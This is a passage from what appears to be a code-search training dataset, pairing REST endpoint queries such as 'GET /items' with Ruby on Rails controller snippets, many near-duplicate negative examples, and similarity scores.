"def find_git_repo(path=nil)\n # use local_git_repository_path or Dir.pwd if path is not specified\n path = fetch(:local_git_repository_path, Dir.pwd) if path.nil?\n\n # expand the path\n path = File.expand_path(path)\n\n return nil if path == '/'\n\n # try to open the current path\n # if fail, go up a directory\n begin\n ::Git.open(path)\n rescue ArgumentError\n find_git_repo(File.join(path, '..'))\n end\n end"
] |
[
"0.7472569",
"0.7423936",
"0.7340326",
"0.718138",
"0.71427166",
"0.71395224",
"0.71395224",
"0.7131724",
"0.69775975",
"0.6953056",
"0.69261134",
"0.6854857",
"0.6812614",
"0.6770096",
"0.6739286",
"0.6687238",
"0.6583686",
"0.6548292",
"0.6496133",
"0.6490013",
"0.64599943",
"0.6457591",
"0.64421314",
"0.6412771",
"0.63538784",
"0.6329468",
"0.6312362",
"0.62521297",
"0.6236239",
"0.62120765",
"0.61776835",
"0.6155222",
"0.6145492",
"0.61453056",
"0.61436844",
"0.6136931",
"0.6130714",
"0.6130554",
"0.6127274",
"0.61171645",
"0.61135614",
"0.6096935",
"0.6095121",
"0.60915685",
"0.60764074",
"0.6073015",
"0.6064654",
"0.60634667",
"0.60545707",
"0.60532933",
"0.604206",
"0.6023595",
"0.6011761",
"0.6008845",
"0.5997579",
"0.59694993",
"0.596921",
"0.59690106",
"0.59675896",
"0.5964754",
"0.5950093",
"0.5939629",
"0.59373266",
"0.59343666",
"0.593129",
"0.59195626",
"0.59187496",
"0.59171945",
"0.59157664",
"0.5909493",
"0.59021115",
"0.5893159",
"0.5888871",
"0.58660084",
"0.586343",
"0.58501995",
"0.5848861",
"0.5845923",
"0.58458495",
"0.5841354",
"0.5838192",
"0.583726",
"0.58345234",
"0.5830639",
"0.58264273",
"0.58227676",
"0.58143747",
"0.5807957",
"0.5803402",
"0.58026797",
"0.5799488",
"0.5799488",
"0.5793853",
"0.5788639",
"0.5779771",
"0.57744247",
"0.57653743",
"0.57634455",
"0.57617646",
"0.5748311"
] |
0.82118005
|
0
|
GET /items GET /items.json
|
def index
@items = Item.includes(:category).with_attached_cover.with_filter(params[:sort])
@items = @items.search(params[:query]) if params[:query].present?
@items = @items.page(params[:page]).per(24)
authorize @items
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @items = Item.find(params[:id])\n render json: @items\n end",
"def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend",
"def getItems()\n return mergeWithAPI(@item_json)['data']\n end",
"def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end",
"def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend",
"def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def list_items( args={} )\n @session.base_url = \"http://my.cl.ly\"\n \n url = \"/items\"\n args.each do |k, v|\n # probably a nicer way to do this\n if url == \"/items\"\n url << \"?#{k.to_s}=#{v.to_s}\"\n else\n url << \"&#{k.to_s}=#{v.to_s}\"\n end\n end\n resp = @session.get( url )\n \n raise AuthorizationError if resp.status == 401\n Crack::JSON.parse(resp.body)\n end",
"def show\n item = Item.find(params[:id])\n render json: item\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def show\n authenticate\n list = List.find(params[:id])\n items = list.items\n render json: {\n items: items,\n id: list.id\n }\n end",
"def items\n response[\"items\"]\n end",
"def show\n render json: Item.find(params[:id])\n end",
"def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n render json: Item.find(params[\"id\"])\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def items\n @items ||= items_from_response\n end",
"def get_items\n @items\n end",
"def index\n @items = Item.includes(:user).order(created_at: :desc).all\n render json: @items\n end",
"def get_items\n response_xml = http_get(@client, \"#{xero_url}/Items\")\n parse_response(response_xml, {}, {:request_signature => 'GET/items'})\n end",
"def my\n items = current_user.items\n render json: items\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item.to_json() }\n end\n end",
"def index\n render json: RequestItem.all\n end",
"def show\n render json: @item\n end",
"def show\n @item = Item.all.where(collection_id: params[:id])\n render :json => @item\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def items(); @items || CrateAPI::Items.new(); end",
"def index\n if params[:uid]\n @current_user = User.find_by(uid: params[:uid])\n render json: {\n status: 'SUCCESS',\n message: 'Loaded users',\n value: @current_user.items\n }\n else\n items = Item.order(created_at: :desc)\n render json: { status: 'SUCCESS', message: 'Loaded items', value: items }\n end\n end",
"def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end",
"def get_items(product_id, params={})\n self.client.get(\"products/#{product_id}/items\", params)\n end",
"def index\n @section = Section.find(params[:section_id])\n @items = @section.items\n render json: ItemSerializer.new(@items)\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render :json => Item.all}\n end\n\n end",
"def index\n @items = @user.items\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end",
"def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def items\n @beverages = Beverage.available\n respond_to do |format|\n format.json { render :json => @beverages.to_json(methods: :image_url)}\n end\n end",
"def get_books(response)\n response[\"items\"]\nend",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def items\n response = @client.request :get, \"#{LISTS_PATH}/#{@id}\"\n raise(StandardError, 'unexpected response') unless response\n response['items']&.map { |i| TodoableItem.new self, i, @client }\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end",
"def index\n if params[:cart_id]\n get_cart\n @items = Item.where(cart: @cart)\n elsif params[:order_id]\n get_order\n @items = Item.where(order: @order)\n end\n render json: @items, status: 200\n end",
"def index\n @active_items = Item.select(&:active?).sort_by(&:name)\n @inactive_items = Item.select(&:inactive?).sort_by(&:name)\n\n @item = Item.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n \n render status: 200, :json => @item\n\n end",
"def index\n @items = Item.all\n\n end",
"def index\n @items = @channel.items\n @items = @query.search(@items)\n @items = @items.order_by_published_at_desc\n @items = @items.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def items\n @items = current_user.items.paginate(:page => params[:page])\n end",
"def index\n self.identify_user\n @items = @user.items\n @itemlist = @items.map do |item|\n convert_to_json(item)\n end\n respond_to do |format|\n format.json { render :json => @itemlist }\n format.xml { render :xml => @items }\n format.html { render text: \"Unsupported Format\", status: 404 }\n end\n end",
"def fetch\n result = WebApi.json!('ITFItems_440', 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n\n @items = []\n result[:items][:item].each do |item_data|\n unless item_data.nil?\n item = TF2Item.new(item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end",
"def index\n @items = Item.accessible_by(current_ability)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n format.xml { render xml: @items }\n end\n end"
] |
[
"0.79562956",
"0.7546286",
"0.74375594",
"0.7434485",
"0.73975587",
"0.7358414",
"0.7358414",
"0.7358414",
"0.7358414",
"0.7357372",
"0.7313286",
"0.73129123",
"0.7311041",
"0.7306297",
"0.7281173",
"0.7273615",
"0.72629416",
"0.72484964",
"0.72301924",
"0.71767205",
"0.7118192",
"0.70924455",
"0.7085656",
"0.7080955",
"0.7067216",
"0.7009283",
"0.6977327",
"0.69725746",
"0.69630706",
"0.6939082",
"0.6898775",
"0.68567353",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.6849963",
"0.6849224",
"0.68373597",
"0.683049",
"0.67957854",
"0.67643034",
"0.67557514",
"0.67521715",
"0.67499214",
"0.673109",
"0.6710735",
"0.6705887",
"0.67042756",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.669466",
"0.66917354",
"0.6686135",
"0.6674154",
"0.66694057",
"0.66563886",
"0.66466695",
"0.6638935",
"0.6629286",
"0.66234785",
"0.66168797",
"0.6604739"
] |
0.0
|
-1
|
GET /items/1 GET /items/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @items = Item.find(params[:id])\n render json: @items\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def show\n item = Item.find(params[:id])\n render json: item\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def show\n render json: Item.find(params[:id])\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def show\n render json: Item.find(params[\"id\"])\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item.to_json() }\n end\n end",
"def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n @item = Item.all.where(collection_id: params[:id])\n render :json => @item\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end",
"def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end",
"def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def item\n @item = Item.find(params[:id])\n end",
"def show\n authenticate\n list = List.find(params[:id])\n items = list.items\n render json: {\n items: items,\n id: list.id\n }\n end",
"def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n render json: @item\n end",
"def show\n \n render status: 200, :json => @item\n\n end",
"def getItems()\n return mergeWithAPI(@item_json)['data']\n end",
"def get(item)\n run(\"show #{ item }\")\n end",
"def show\n @feed_item = Item.find(params[:id])\n\n render json: @feed_item\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n render json: RequestItem.all\n end",
"def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend",
"def show\n render json: @item, status: :ok\n end",
"def findItem\n item = Item.find(params[:id])\n if item\n return item\n else\n return render json: {data: \"Failure, could not find this item.\"}, status: :not_found\n end\n end",
"def show\n @itemstable = Itemstable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemstable }\n end\n end",
"def show\n @item_info = ItemInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_info }\n end\n end",
"def get_single_item(item_id, payload = {})\n payload = payload.merge('ItemID' => item_id)\n request('GetSingleItem', payload)\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render :json => Item.all}\n end\n\n end",
"def show\n @item = Item.find(params[:id])\n @user = @item.user_id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n @admin_item = Admin::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_item }\n end\n end",
"def show\n @admin_item = Admin::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_item }\n end\n end",
"def path\n \"/{databaseId}/items/list/\"\n end",
"def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n @item = TodoItem.find(params[:id])\n \n respond_to do |format|\n format.html\n format.json {render json: {\n success:true, \n data: [@item],\n message: \"TodoItem found.\"\n }}\n end\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM items \n WHERE iid = #{params[:id]} \n LIMIT 1\").first\n\n @games = ActiveRecord::Base.connection.execute(\"\n SELECT g.*\n FROM games g\n JOIN game_items gi\n ON g.gid = gi.gid\n WHERE iid = #{params[:id]}\")\n\n respond_to do |format|\n format.html\n format.json {render json: Item.find(@item[0])}\n end\n end",
"def show \n #get the item id from the url params\n item_id = params[:id]\n #use `item_id` to find the item in the database\n #and save it to an instance variable\n @item = Item.find_by_id(item_id)\n render json: @item\n # @item = City.find(params[:id])\n # @item = Item.joins(:posts).includes(:posts).find(params[:id])\n # puts @item\n # render json: {\n # item: @item\n # }\n end",
"def index\n @items = Item.includes(:user).order(created_at: :desc).all\n render json: @items\n end",
"def get_item(course_id, item_id)\r\n relative_url = PATH_COURSES_ITEMS_ % [course_id, item_id]\r\n get(relative_url)\r\n end",
"def my\n items = current_user.items\n render json: items\n end",
"def get_item(item_id, params = {})\n url = build_url('item', item_id)\n params = params.merge(item_id: item_id)\n\n http.headers(build_headers).get(url, params: params)\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n format.json { render :json => @item }\n end\n end",
"def list_items( args={} )\n @session.base_url = \"http://my.cl.ly\"\n \n url = \"/items\"\n args.each do |k, v|\n # probably a nicer way to do this\n if url == \"/items\"\n url << \"?#{k.to_s}=#{v.to_s}\"\n else\n url << \"&#{k.to_s}=#{v.to_s}\"\n end\n end\n resp = @session.get( url )\n \n raise AuthorizationError if resp.status == 401\n Crack::JSON.parse(resp.body)\n end",
"def show\n render json: @request_item\n end",
"def show\n @potluck_item = PotluckItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @potluck_item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n format.xml { render xml: @item }\n end\n end",
"def show\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(params[:list_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_item }\n end\n end",
"def index\n @item_type = params[:type] = \"C\"\n \n params[:id] = nil\n \n # 찜한 상품, 콜렉션\n @collections = Collection.itemList(params)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @collections }\n end\n \n end",
"def item_show\n @item = Item.find(params[:id])\n end",
"def show\n @itemstatus = Itemstatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemstatus }\n end\n end",
"def get_items(product_id, params={})\n self.client.get(\"products/#{product_id}/items\", params)\n end",
"def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend",
"def index\n if params[:cart_id]\n get_cart\n @items = Item.where(cart: @cart)\n elsif params[:order_id]\n get_order\n @items = Item.where(order: @order)\n end\n render json: @items, status: 200\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end"
] |
[
"0.7736526",
"0.7547988",
"0.74948645",
"0.73696035",
"0.7328169",
"0.7293223",
"0.7287578",
"0.71326286",
"0.71247333",
"0.71196556",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.70882183",
"0.7069195",
"0.7047763",
"0.7046805",
"0.7046805",
"0.7046805",
"0.7046805",
"0.7021193",
"0.70065445",
"0.6999912",
"0.6968592",
"0.69090354",
"0.6904139",
"0.69028735",
"0.6859605",
"0.6838115",
"0.68371415",
"0.6817121",
"0.6791983",
"0.67502666",
"0.6706858",
"0.6694071",
"0.6665942",
"0.66478753",
"0.6639059",
"0.66362274",
"0.66218555",
"0.66078925",
"0.6603567",
"0.65953285",
"0.65745777",
"0.6563656",
"0.6563601",
"0.6562375",
"0.6562375",
"0.6558979",
"0.6553609",
"0.6543294",
"0.6532621",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6526246",
"0.6525101",
"0.65117115",
"0.65114903",
"0.6499088",
"0.6492242",
"0.6478985",
"0.6478985",
"0.6470336",
"0.646914",
"0.64681506",
"0.64497066",
"0.6449235",
"0.64342886",
"0.643418",
"0.6431615",
"0.6423981",
"0.6418225",
"0.64176244",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651",
"0.6411651"
] |
0.0
|
-1
|
POST /items POST /items.json
|
def create
@item = Item.new(item_params)
if params[:item][:cover].present?
@item.cover.attach(params[:item][:cover])
end
respond_to do |format|
if @item.save
format.html { redirect_to items_path, notice: "El producto ha sido creado." }
format.json { render :show, status: :created, location: @item }
else
format.html { render :new }
format.json { render json: @item.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n item = list.items.create!(item_params)\n render json: item, status: 201\n end",
"def create\n\t\titem = Item.create(item_params)\n\t\trender json: item\n\tend",
"def create\n @item = @client.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully added.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @request_item = RequestItem.new(request_item_params)\n @request_item.item = Item.new(name: params[:request_item][:item][:name])\n\n if @request_item.save\n render json: @request_item \n else\n render json: @request_item.errors, status: :bad_request\n end\n end",
"def create\n item = Item.new(item_params)\n item.user = current_user\n if item.save\n render json: item\n else\n render json: {errors: item.errors}, status: :unprocessable_entity\n end\n end",
"def create\n @item = Item.new(item_params)\n if @item.save\n @items = Item.all\n render status: 201, :json => @item\n \n else\n render status: 404, json: { message: @item.errors}.to_json\n end\n \n \n end",
"def create\n item = Item.new(item_params)\n item.done = \"0\"\n item.trash = \"0\"\n\n if item.save\n render json: {data:item}, status: :created\n else\n render json: {data:item}, status: :unprocessable_entity\n end\n end",
"def create\n create_params = item_params\n item = Item.new(\n name: create_params[:name], \n is_complete: false, #create_params[:is_complete], \n list_id: create_params[:list_id])\n\n item.save!\n render json: item\n end",
"def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item\n else\n render json: { error: t('story_create_error') }, status: :unprocessable_entity\n end\n end",
"def create\n \n #debug\n write_log(\n Const::SL::LOG_PATH_SL,\n \"items_controller#create(params[:item] => #{params[:item]})\",\n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n \n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to root_url, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, item: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = current_owner.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_path, notice: 'Item was created successfully' }\n format.json { render :show, status: :created, location: items_path }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n @item.save\n respond_with @item\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
